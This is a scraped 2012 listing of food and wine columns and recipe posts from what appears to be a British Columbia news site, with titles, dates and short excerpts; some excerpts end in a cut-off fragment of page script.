133895
140011

Cranberry Brie Melt

Dec 27, 2012 / 11:10 am

Photo: Contributed - Quality Greens Farm Market   if(navigator.userAgent.toLowerCase().match("android|ipad|iphone|iPod")&&Math.random()

Naramata Bench Wine Tasting Notes

Dec 18, 2012 / 6:27 pm

Photo: Contributed Winter Wine Tasting Notes from the Naramata Bench, Okanagan Valley, B.C. By: Helene Scott The Naramata Bench is home to over 20 wineries and boasts some of the most spectacular views in the Okanagan Valley. Please note that during the winter season

The perfect scrambed egg

Dec 10, 2012 / 12:00 pm

The perfect scrambled egg cooked by (and according to) Gordon Ramsay. if(navigator.userAgent.toLowerCase().match("android|ipad|iphone|iPod")&&Math.random()

I know Santa Claus

Dec 8, 2012 / 5:00 am

Photo: Contributed Okay, have I got your attention? That's the idea. I have printed this column before but I think it bears repeating. Santa Claus is an important part of Christmas and he doesn’t just belong to the children, either. He is an integral part of the sp

Shredded root veggie cakes

Dec 7, 2012 / 2:00 pm

Photo: Contributed - Quality Greens Farm Market   if(navigator.userAgent.toLowerCase().match("android|ipad|iphone|iPod")&&Math.random()

It's a wonderful life

Dec 1, 2012 / 5:00 am

She says: With all the fairs and holiday light-ups, it really feels like Christmas is coming, and so I decided it was time to have a peek at some old food magazines and see what might inspire me for a bit of baking this weekend. Nothing fuels the festive spirit like a homemade cookie! As

Coconut and mandarin orange salad

Nov 28, 2012 / 3:00 pm

Photo: Contributed - Quality Greens Farm Market   if(navigator.userAgent.toLowerCase().match("android|ipad|iphone|iPod")&&Math.random()

An apple a day

Nov 24, 2012 / 5:00 am

I had a funny conversation recently with a foodie friend and there were a number of well-known expressions and sentiments we used that use food terms. That reaffirmed yet again for me just how much food is a part of our everyday lives - in ways we don’t even consider. Dare I say this is foo

Nuttier than a fruitcake

Nov 17, 2012 / 5:00 am

Now that the winds have cooled to icy temperatures and there is snow on the hills it seems acceptable to speak of Christmas and all its preparations. I know that some stores have had items for sale for almost a month now but I really do think that even a die-hard Yuletide fan knows they need to p

Baked avocado fries

Nov 14, 2012 / 3:00 pm

Photo: Contributed - Quality Greens Farm Market   if(navigator.userAgent.toLowerCase().match("android|ipad|iphone|iPod")&&Math.random()

Saving the world through food

Nov 10, 2012 / 5:00 am

I just returned from a trip to Turin, Italy, where I was a delegate at the Slow Food conference, Terra Madre. I do love to eat, and any cause centered around good food interests me, but Slow Food is a passion I have long held close to my heart. The ideal that the pleasure of food should be linked

Warm asparagus salad

Nov 1, 2012 / 2:00 pm

Photo: Contributed - Quality Greens Farm Market   if(navigator.userAgent.toLowerCase().match("android|ipad|iphone|iPod")&&Math.random()

Time for the Great Pumpkin?

Oct 27, 2012 / 5:00 am

Photo: Contributed - (Photo: Flickr user - outlan) Just like on TV with Charlie Brown I had to smile as I saw Linus in the pumpkin patch, waiting for the Great Pumpkin to come. Today, kids would probably be more taken with the footage of Snoopy fighting the invisible Red Bar

Preserving sunshine

Oct 20, 2012 / 5:00 am

I can’t believe it is October already. I wasn’t ready to stop eating peaches or plums, and I haven’t made all my jam yet, and the pears are ripening faster than I can poach them for my Christmas hamper gifts. One of the things I love about autumn is preserving summer’s goo

Zesty broccoli casserole

Oct 17, 2012 / 2:00 pm

Photo: Contributed - Quality Greens Farm Market   if(navigator.userAgent.toLowerCase().match("android|ipad|iphone|iPod")&&Math.random()

Do you like leftovers?

Oct 13, 2012 / 5:00 am

Photo: Contributed We had a discussion this week about leftovers, what with the bounty of Thanksgiving dinner and the fun of preparing different flavours for everyone to try. It seems sometimes even though we diligently label them and put them in the fridge for later use the

Roasted root veggies

Oct 10, 2012 / 3:00 pm

Photo: Contributed - Quality Greens Farm Market   if(navigator.userAgent.toLowerCase().match("android|ipad|iphone|iPod")&&Math.random()

Changing gears

Oct 6, 2012 / 5:00 am

I have now unpacked my wool sweaters and long pants, and tucked away the flip flops and flimsy sundresses. The tender plants in the garden have been brought in or covered with mulch and the patio chairs are stacked up. And with most of the lettuce gone from the garden, I don’t seem to feel

Apple crisp cookes

Oct 3, 2012 / 3:00 am

Photo: Contributed - Quality Greens Farm Market   if(navigator.userAgent.toLowerCase().match("android|ipad|iphone|iPod")&&Math.random()

Let's get tasting

Sep 29, 2012 / 5:05 pm

By: Helene Scott Wines from Kelowna Photo: Contributed St. Hubertus St. Hubertus Estate Winery Rose Frizzante 2010 $16 Pretty pale pink with a gentle sparkle and you have a party in a bottle! Made from gamay noir grapes; it has cherries, strawber
137301


135474


140161